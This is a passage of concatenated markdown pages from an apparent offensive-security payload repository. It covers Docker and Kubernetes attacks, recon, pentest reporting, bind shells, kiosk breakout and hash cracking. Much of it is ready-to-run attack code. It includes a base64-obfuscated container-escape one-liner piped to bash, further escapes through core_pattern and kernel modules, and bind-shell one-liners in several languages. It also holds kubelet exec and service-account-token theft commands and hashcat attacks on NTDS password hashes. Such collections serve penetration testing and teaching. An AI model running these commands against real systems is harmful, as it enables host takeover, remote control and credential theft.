Prerequisite (at least one):
* `--privileged`
* `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` flags.
### Abusing CAP_SYS_ADMIN capability
```powershell
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo "cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK" | base64 -d | bash -'
```
Exploit breakdown :
```powershell
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
### Abusing coredumps and core_pattern
1. Find the mounting point using `mount`
```ps1
$ mount | head -n 1
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/YLH6C6EQMMG7DA2AL5DUANDHYJ:/var/lib/docker/overlay2/l/HP7XLDFT4ERSCYVHJ2WMZBG2YT,upperdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff,workdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/work)
```
2. Create an evil binary at the root of the filesystem: `cp /tmp/poc /poc`
3. Set the program to be executed on the coredumps
```ps1
echo "|/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff/poc" > /proc/sys/kernel/core_pattern
```
4. Generate a coredump with a faulty program: `gcc -o crash crash.c && ./crash`
```cpp
int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) {
buf[i] = 1;
}
return 0;
}
```
5. Your payload should have been executed on the host
## Breaking out of Docker via runC
> The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team
Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736
```powershell
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
```
## Breaking out of containers using a device file
```powershell
https://github.com/FSecureLABS/fdpasser
In container, as root: ./fdpasser recv /moo /etc/shadow
Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep 1337")/root/moo
Outside container: ls -la /etc/shadow
Output: -rwsrwsrwx 1 root shadow 1209 Oct 10 2019 /etc/shadow
```
## Breaking out of Docker via kernel modules loading
> When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only *one* kernel, unlike VMs). This provides a route to an easy container escape.
Exploitation:
* Clone the repository : `git clone https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping`
* Build with `make`
* Start a privileged docker container with `docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu`
* `cd /root` in the new container
* Insert the kernel module with `./escape`
* Run `./execute`!
Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; `/proc/escape` and `/proc/output`.
* `/proc/escape` only answers to write requests and simply executes anything that's passed to it via [`call_usermodehelper()`](https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html).
* `/proc/output` just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to.
The clever part is that anything we write to `/proc/escape` gets sandwiched into `/bin/sh -c <INPUT> > /proc/output`. This means that the command is run under `/bin/sh` and the output is redirected to `/proc/output`, which we can then read from within the container.
Once the module is loaded, you can simply `echo "cat /etc/passwd" > /proc/escape` and then get the result via `cat /proc/output`. Alternatively, you can use the `execute` program to give yourself a makeshift shell (albeit an extraordinarily basic one).
The only caveat is that we cannot be sure that the container has `kmod` installed (which provides `insmod` and `rmmod`). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the `init_module()` syscall to load the module into the kernel without needing `insmod`. If you're interested, take a look at the Makefile.
## References
- [Hacking Docker Remotely - 17 March 2020 - ch0ks](https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/)
- [Understanding Docker container escapes - JULY 19, 2019 - Trail of Bits](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
- [Breaking out of Docker via runC Explaining CVE-2019-5736 - Yuval Avrahami - February 21, 2019](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)
- [CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host - dragonsector.pl](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
- [OWASP - Docker Security CheatSheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md)
- [Anatomy of a hack: Docker Registry - NotSoSecure - April 6, 2017](https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/)
- [Linux Kernel Hacking 3.8: Privileged Container Escapes - Harvey Phillips @xcellerator](https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping)
* [Escaping privileged containers for fun - 2022-03-06 :: Jordy Zomer](https://pwning.systems/posts/escaping-containers-for-fun/)

View File

@ -0,0 +1,67 @@
# Container - Kubernetes
> Kubernetes, often abbreviated as K8s, is an open-source container orchestration platform designed to automate the deployment, scaling, and management of containerized applications
## Summary
- [Tools](#tools)
- [Exploits](#exploits)
- [Accessible kubelet on 10250/TCP](#accessible-kubelet-on-10250tcp)
- [Obtaining Service Account Token](#obtaining-service-account-token)
- [References](#references)
## Tools
* [BishopFox/badpods](https://github.com/BishopFox/badpods) - A collection of manifests that will create pods with elevated privileges.
```ps1
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml
```
* [serain/kubelet-anon-rce](https://github.com/serain/kubelet-anon-rce) - Executes commands in a container on a kubelet endpoint that allows anonymous authentication
* [DataDog/KubeHound](https://github.com/DataDog/KubeHound) - Kubernetes Attack Graph
```ps1
# Critical paths enumeration
kh.containers().criticalPaths().count()
kh.containers().dedup().by("name").criticalPaths().count()
kh.endpoints(EndpointExposure.ClusterIP).criticalPaths().count()
kh.endpoints(EndpointExposure.NodeIP).criticalPaths().count()
kh.endpoints(EndpointExposure.External).criticalPaths().count()
kh.services().criticalPaths().count()
# DNS services and port
kh.endpoints(EndpointExposure.External).criticalPaths().limit(local,1)
.dedup().valueMap("serviceDns","port")
.group().by("serviceDns").by("port")
```
## Exploits
### Accessible kubelet on 10250/TCP
Requirements:
* `--anonymous-auth`: Enables anonymous requests to the Kubelet server
* Getting pods: `curl -ks https://worker:10250/pods`
* Run commands: `curl -Gks https://worker:10250/exec/{namespace}/{pod}/{container} -d 'input=1' -d 'output=1' -d'tty=1' -d 'command=ls' -d 'command=/'`
### Obtaining Service Account Token
Token is stored at `/var/run/secrets/kubernetes.io/serviceaccount/token`
Use the service account token:
* on `kube-apiserver` API: `curl -ks -H "Authorization: Bearer <TOKEN>" https://master:6443/api/v1/namespaces/{namespace}/secrets`
* with kubectl: ` kubectl --insecure-skip-tls-verify=true --server="https://master:6443" --token="<TOKEN>" get secrets --all-namespaces -o json`
## References
* [Attacking Kubernetes through Kubelet - Withsecure Labs- 11 January, 2019](https://labs.withsecure.com/publications/attacking-kubernetes-through-kubelet)
* [kubehound - Attack Reference](https://kubehound.io/reference/attacks/)
* [KubeHound: Identifying attack paths in Kubernetes clusters - Datadog - October 2, 2023](https://securitylabs.datadoghq.com/articles/kubehound-identify-kubernetes-attack-paths/)

View File

@ -0,0 +1,149 @@
# Bug Hunting Methodology and Enumeration
## Summary
* [Passive Recon](#passive-recon)
* Shodan
* Wayback Machine
* The Harvester
* Github OSINT
* [Active Recon](#active-recon)
* [Network discovery](#network-discovery)
* [Web discovery](#web-discovery)
* [Web Vulnerabilities](#looking-for-web-vulnerabilities)
## Passive recon
* Using [Shodan](https://www.shodan.io/) to detect similar app
```bash
can be integrated with nmap (https://github.com/glennzw/shodan-hq-nse)
nmap --script shodan-hq.nse --script-args 'apikey=<yourShodanAPIKey>,target=<hackme>'
```
* Using [The Wayback Machine](https://archive.org/web/) to detect forgotten endpoints
```bash
look for JS files, old links
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=<targetDomain.com>&output=text&fl=original&collapse=urlkey&matchType=prefix"
```
* Using [The Harvester](https://github.com/laramies/theHarvester)
```python
python theHarvester.py -b all -d domain.com
```
* Look for private information in [GitHub]() repos with [GitRob](https://github.com/michenriksen/gitrob.git)
```bash
gitrob analyze johndoe --site=https://github.acme.com --endpoint=https://github.acme.com/api/v3 --access-tokens=token1,token2
```
* Perform Google Dorks search
## Active recon
### Network discovery
* Subdomains enumeration
* Enumerate already found subdomains: [projectdiscovery/subfinder](https://github.com/projectdiscovery/subfinder): `subfinder -d hackerone.com`
* Permutate subdomains: [infosec-au/altdns](https://github.com/infosec-au/altdns)
* Bruteforce subdomains: [Josue87/gotator](https://github.com/Josue87/gotator)
* Subdomain takeovers: [EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)
* Network discovery
* Scan IP ranges with `nmap`, [robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) and [projectdiscovery/naabu](https://github.com/projectdiscovery/naabu)
* Discover services, version and banners
* Review latest acquisitions
* ASN enumeration
* [projectdiscovery/asnmap](https://github.com/projectdiscovery/asnmap): `asnmap -a AS45596 -silent`
* DNS Zone Transfer
```ps1
host -t ns domain.local
domain.local name server master.domain.local.
host master.domain.local
master.domain.local has address 192.168.1.1
dig axfr domain.local @192.168.1.1
```
### Web discovery
* Locate `robots.txt`, `security.txt`, `sitemap.xml` files
* Retrieve comments in source code
* Discover URL: [tomnomnom/waybackurls](github.com/tomnomnom/waybackurls)
* Search for `hidden` parameters: [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner)
* List all the subdirectories and files with `gobuster` or `ffuf`
```ps1
# gobuster -w wordlist -u URL -t threads
./gobuster -u http://example.com/ -w words.txt -t 10
```
* Find backup files with [mazen160/bfac](https://github.com/mazen160/bfac)
```bash
bfac --url http://example.com/test.php --level 4
bfac --list testing_list.txt
```
* Map technologies: Web service enumeration using [projectdiscovery/httpx](https://github.com/projectdiscovery/httpx) or Wappalyzer
* Gather favicon hash, JARM fingerprint, ASN, status code, services and technologies (Github Pages, Cloudflare, Ruby, Nginx,...)
* Take screenshots for every websites using [sensepost/gowitness](https://github.com/sensepost/gowitness)
* Automated vulnerability scanners
* [projectdiscovery/nuclei](https://github.com/projectdiscovery/nuclei): `nuclei -u https://example.com`
* [Burp Suite's web vulnerability scanner](https://portswigger.net/burp/vulnerability-scanner)
* [sullo/nikto](https://github.com/sullo/nikto): `./nikto.pl -h http://www.example.com`
* Manual Testing: Explore the website with a proxy:
* [Caido - A lightweight web security auditing toolkit](https://caido.io/)
* [ZAP - OWASP Zed Attack Proxy](https://www.zaproxy.org/)
* [Burp Suite - Community Edition](https://portswigger.net/burp/communitydownload)
## Looking for Web vulnerabilities
* Explore the website and look for vulnerabilities listed in this repository: SQL injection, XSS, CRLF, Cookies, ....
* Test for Business Logic weaknesses
* High or negative numerical values
* Try all the features and click all the buttons
* [The Web Application Hacker's Handbook Checklist](https://gist.github.com/gbedoya/10935137) copied from http://mdsec.net/wahh/tasks.html
* Subscribe to the site and pay for the additional functionality to test
* Inspect Payment functionality - [@gwendallecoguic](https://twitter.com/gwendallecoguic/status/988138794686779392)
> if the webapp you're testing uses an external payment gateway, check the doc to find the test credit numbers, purchase something and if the webapp didn't disable the test mode, it will be free
From https://stripe.com/docs/testing#cards : "Use any of the following test card numbers, a valid expiration date in the future, and any random CVC number, to create a successful payment. Each test card's billing country is set to U.S. "
e.g :
Test card numbers and tokens
| NUMBER | BRAND | TOKEN |
| :------------- | :------------- | :------------- |
| 4242424242424242 | Visa | tok_visa |
| 4000056655665556 | Visa (debit) | tok_visa_debit |
| 5555555555554444 | Mastercard | tok_mastercard |
International test card numbers and tokens
| NUMBER | TOKEN | COUNTRY | BRAND |
| :------------- | :------------- | :------------- | :------------- |
| 4000000400000008 | tok_at | Austria (AT) | Visa |
| 4000000560000004 | tok_be | Belgium (BE) | Visa |
| 4000002080000001 | tok_dk | Denmark (DK) | Visa |
| 4000002460000001 | tok_fi | Finland (FI) | Visa |
| 4000002500000003 | tok_fr | France (FR) | Visa |
## References
* [[BugBounty] Yahoo phpinfo.php disclosure - Patrik Fehrenbach](http://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/)
* [Nmap CheatSheet - HackerTarget](https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/)

View File

@ -0,0 +1,52 @@
# Vulnerability Reports
## Summary
* [Tools](#tools)
* [Vulnerability Report Structure](#vulnerability-report-structure)
* [Vulnerability Details Structure](#vulnerability-details-structure)
* [General Guidelines](#general-guidelines)
* [References](#references)
## Tools
Tools to help you collaborate and generate your reports.
* [GhostManager/Ghostwriter](https://github.com/GhostManager/Ghostwriter) - The SpecterOps project management and reporting engine
* [pwndoc/pwndoc](https://github.com/pwndoc/pwndoc) - Pentest Report Generator
List of penetration test reports and templates.
* [reconmap/pentest-reports](https://github.com/reconmap/pentest-reports) - Collection of penetration test reports and pentest report templates
* [juliocesarfort/public-pentesting-reports](https://github.com/juliocesarfort/public-pentesting-reports) - A list of public penetration test reports published by several consulting firms and academic security groups.
## Vulnerability Report Structure
* Executive Summary
* Security Findings and Recommendations
* Vulnerabilities (sorted by severity)
* Appendix (optional)
## Vulnerability Details Structure
* **Summary**: a concise introduction to the vulnerability, providing a snapshot of the issue and its potential reach..
* **Impact**: detailed insights into the potential business ramifications that could arise from exploiting this vulnerability.
* **Reproductions Steps**: a comprehensive, step-by-step walkthrough on how to replicate the issue,, complete with screenshots, HTTP requests or Proof of Concept code snippets.
* **Recommendations**: suggestions and best practices for addressing and resolving the highlighted issue.
* **References**: links to external content, documentation, and security guidelines, including resources like OWASP.
* **Severity**: Include a severity score like CVSS.
## General Guidelines
* Use a **Passive Voice Form**.
* **Obfuscate** the secrets: passwords, token, ...
* Add **caption** to all figures and pictures.
## References
* [Best Practices for Writing Quality Vulnerability Reports - Krzysztof Pranczk](https://itnext.io/best-practices-for-writing-quality-vulnerability-reports-119882422a27)
* [Overview of technical writing courses - Google Technical Writing](https://developers.google.com/tech-writing/overview)

View File

@ -0,0 +1,95 @@
# Bind Shell
## Summary
* [Bind Shell](#bind-shell)
* [Perl](#perl)
* [Python](#python)
* [PHP](#php)
* [Ruby](#ruby)
* [Netcat Traditional](#netcat-traditional)
* [Netcat OpenBsd](#netcat-openbsd)
* [Ncat](#ncat)
* [Socat](#socat)
* [Powershell](#powershell)
## Perl
```perl
perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));\
bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\
close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'
```
## Python
Single line :
```python
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",51337));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
```
Expanded version :
```python
import socket as s,subprocess as sp;
s1 = s.socket(s.AF_INET, s.SOCK_STREAM);
s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1);
s1.bind(("0.0.0.0", 51337));
s1.listen(1);
c, a = s1.accept();
while True:
d = c.recv(1024).decode();
p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE);
c.sendall(p.stdout.read()+p.stderr.read())
```
## PHP
```php
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",51337);\
socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;\
$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);\
socket_write($cl,$m,strlen($m));}}'
```
## Ruby
```ruby
ruby -rsocket -e 'f=TCPServer.new(51337);s=f.accept;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)'
```
## Netcat Traditional
```powershell
nc -nlvp 51337 -e /bin/bash
```
## Netcat OpenBsd
```powershell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f
```
## Socat
```powershell
user@attacker$ socat FILE:`tty`,raw,echo=0 TCP:target.com:12345
user@victim$ socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
```
## Powershell
```powershell
https://github.com/besimorhino/powercat
# Victim (listen)
. .\powercat.ps1
powercat -l -p 7002 -ep
# Connect from attacker
. .\powercat.ps1
powercat -c 127.0.0.1 -p 7002
```

View File

@ -0,0 +1,152 @@
# Application Escape and Breakout
## Summary
* [Gaining a command shell](#gaining-a-command-shell)
* [Sticky Keys](#sticky-keys)
* [Dialog Boxes](#dialog-boxes)
* [Creating new files](#creating-new-files)
* [Open a new Windows Explorer instance](#open-a-new-windows-explorer-instance)
* [Exploring Context Menus](#exploring-context-menus)
* [Save as](#save-as)
* [Input Boxes](#input-boxes)
* [Bypass file restrictions](#bypass-file-restrictions)
* [Internet Explorer](#internet-explorer)
* [Shell URI Handlers](#shell-uri-handlers)
* [References](#references)
## Gaining a command shell
* **Shortcut**
* [Window] + [R] -> cmd
* [CTRL] + [SHIFT] + [ESC] -> Task Manager
* [CTRL] + [ALT] + [DELETE] -> Task Manager
* **Access through file browser**: Browsing to the folder containing the binary (i.e. `C:\windows\system32\`), we can simply right click and `open` it
* **Drag-and-drop**: dragging and dropping any file onto the cmd.exe
* **Hyperlink**: `file:///c:/Windows/System32/cmd.exe`
* **Task Manager**: `File` > `New Task (Run...)` > `cmd`
* **MSPAINT.exe**
* Open MSPaint.exe and set the canvas size to: `Width=6` and `Height=1` pixels
* Zoom in to make the following tasks easier
* Using the colour picker, set pixels values to (from left to right):
```ps1
1st: R: 10, G: 0, B: 0
2nd: R: 13, G: 10, B: 13
3rd: R: 100, G: 109, B: 99
4th: R: 120, G: 101, B: 46
5th: R: 0, G: 0, B: 101
6th: R: 0, G: 0, B: 0
```
* Save it as 24-bit Bitmap (*.bmp;*.dib)
* Change its extension from bmp to bat and run
## Sticky Keys
* Spawn the sticky keys dialog
* Via Shell URI : `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}`
* Hit 5 times [SHIFT]
* Visit "Ease of Access Center"
* You land on "Setup Sticky Keys", move up a level on "Ease of Access Center"
* Start the OSK (On-Screen-Keyboard)
* You can now use the keyboard shortcut (CTRL+N)
## Dialog Boxes
### Creating new files
* Batch files Right click > New > Text File > rename to .BAT (or .CMD) > edit > open
* Shortcuts Right click > New > Shortcut > `%WINDIR%\system32`
## Open a new Windows Explorer instance
* Right click any folder > select `Open in new window`
## Exploring Context Menus
* Right click any file/folder and explore context menus
* Clicking `Properties`, especially on shortcuts, can yield further access via `Open File Location`
### Save as
* "Save as" / "Open as" option
* "Print" feature selecting "print to file" option (XPS/PDF/etc)
* `\\127.0.0.1\c$\Windows\System32\` and execute `cmd.exe`
### Input Boxes
Many input boxes accept file paths; try all inputs with UNC paths such as `//attackerpc/` or `//127.0.0.1/c$` or `C:\`
### Bypass file restrictions
Enter *.* or *.exe or similar in `File name` box
## Internet Explorer
### Download and Run/Open
* Text files -> opened by Notepad
### Menus
* The address bar
* Search menus
* Help menus
* Print menus
* All other menus that provide dialog boxes
### Accessing filesystem
Enter these paths in the address bar:
* file://C:/windows
* C:/windows/
* %HOMEDRIVE%
* \\127.0.0.1\c$\Windows\System32
### Unassociated Protocols
It is possible to escape a browser based kiosk with other protocols than usual `http` or `https`.
If you have access to the address bar, you can use any known protocol (`irc`, `ftp`, `telnet`, `mailto`, etc.)
to trigger the *open with* prompt and select a program installed on the host.
The program will than be launched with the uri as a parameter, you need to select a program that will not crash when recieving it.
It is possible to send multiple parameters to the program by adding spaces in your uri.
Note: This technique required that the protocol used is not already associated with a program.
Example - Launching Firefox with a custom profile:
This is a nice trick since Firefox launched with the custom profile may not be as much hardened as the default profile.
0. Firefox need to be installed.
1. Enter the following uri in the address bar: `irc://127.0.0.1 -P "Test"`
2. Press enter to navigate to the uri.
3. Select the firefox program.
4. Firefox will be launched with the profile `Test`.
In this example, it's the equivalent of running the following command:
```
firefox irc://127.0.0.1 -P "Test"
```
## Shell URI Handlers
* shell:DocumentsLibrary
* shell:Librariesshell:UserProfiles
* shell:Personal
* shell:SearchHomeFolder
* shell:System shell:NetworkPlacesFolder
* shell:SendTo
* shell:Common Administrative Tools
* shell:MyComputerFolder
* shell:InternetFolder
## References
* [PentestPartners - Breaking out of Citrix and other restricted desktop environments](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
* [Breaking Out! of Applications Deployed via Terminal Services, Citrix, and Kiosks - Scott Sutherland - May 22nd, 2013](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
* [Escaping from KIOSKs - HackTricks](https://book.hacktricks.xyz/physical-attacks/escaping-from-gui-applications)
* [Breaking out of Windows Kiosks using only Microsoft Edge - Firat Acar - May 24, 2022](https://blog.nviso.eu/2022/05/24/breaking-out-of-windows-kiosks-using-only-microsoft-edge/)
* [HOW TO LAUNCH COMMAND PROMPT AND POWERSHELL FROM MS PAINT - 2022-05-14 - Rickard](https://tzusec.com/how-to-launch-command-prompt-and-powershell-from-ms-paint/)

View File

@ -0,0 +1,169 @@
# Hash Cracking
## Summary
* [Hashcat](https://hashcat.net/hashcat/)
* [Hashcat Example Hashes](https://hashcat.net/wiki/doku.php?id=example_hashes)
* [Hashcat Install](#hashcat-install)
* [Mask attack](#mask-attack)
* [Dictionary](#dictionary)
* [John](https://github.com/openwall/john)
* [Usage](#john-usage)
* [Rainbow tables](#rainbow-tables)
* [Tips and Tricks](#tips-and-tricks)
* [Online Cracking Resources](#online-cracking-resources)
* [References](#references)
## Hashcat
### Hashcat Install
```powershell
apt install cmake build-essential -y
apt install checkinstall git -y
git clone https://github.com/hashcat/hashcat.git && cd hashcat && make -j 8 && make install
```
1. Extract the hash
2. Get the hash format: https://hashcat.net/wiki/doku.php?id=example_hashes
3. Establish a cracking stratgy based on hash format (ex: wordlist -> wordlist + rules -> mask -> combinator mode -> prince attack -> ...)
4. Enjoy plains
5. Review strategy
6. Start over
### Dictionary
> Every word of a given list (a.k.a. dictionary) is hashed and compared against the target hash.
```powershell
hashcat --attack-mode 0 --hash-type $number $hashes_file $wordlist_file -r $my_rules
```
* Wordlists
* [packetstorm](https://packetstormsecurity.com/Crackers/wordlists/)
* [weakpass_3a](https://download.weakpass.com/wordlists/1948/weakpass_3a.7z)
* [weakpass_3](https://download.weakpass.com/wordlists/1947/weakpass_3.7z)
* [Hashes.org](https://download.weakpass.com/wordlists/1931/Hashes.org.7z)
* [kerberoast_pws](https://gist.github.com/edermi/f8b143b11dc020b854178d3809cf91b5/raw/b7d83af6a8bbb43013e04f78328687d19d0cf9a7/kerberoast_pws.xz)
* [hashmob.net](https://hashmob.net/research/wordlists)
* [clem9669/wordlists](https://github.com/clem9669/wordlists)
* Rules
* [One Rule to Rule Them All](https://notsosecure.com/one-rule-to-rule-them-all/)
* [nsa-rules](https://github.com/NSAKEY/nsa-rules)
* [hob064](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/hob064.rule)
* [d3adhob0](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/d3adhob0.rule)
* [clem9669/hashcat-rule](https://github.com/clem9669/hashcat-rule)
### Mask attack
Mask attack is an attack mode which optimize brute-force.
> Every possibility for a given character set and a given length (i.e. aaa, aab, aac, ...) is hashed and compared against the target hash.
```powershell
# Mask: upper*1+lower*5+digit*2 and upper*1+lower*6+digit*2
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?l?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?l?d?d?1
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?l?l?d?d?1
# Mask: upper*1+lower*3+digit*4 and upper*1+lower*3+digit*4
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?d?d?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?d?d?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?d?d?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?d?d?d?d?1
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?d?d?d?d?1
# Mask: lower*6 + digit*2 + special digit(+!?*)
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?l?l?l?l?l?l?d?d?1
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?l?l?l?l?l?l?d?d?1?1
# Mask: lower*6 + digit*2
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 /content/hashcat/masks/8char-1l-1u-1d-1s-compliant.hcmask
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 ?l?d?u ?1?1?1?1?1?1?1?1
# Other examples
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?a?a?a?a?a?a?a?a?a
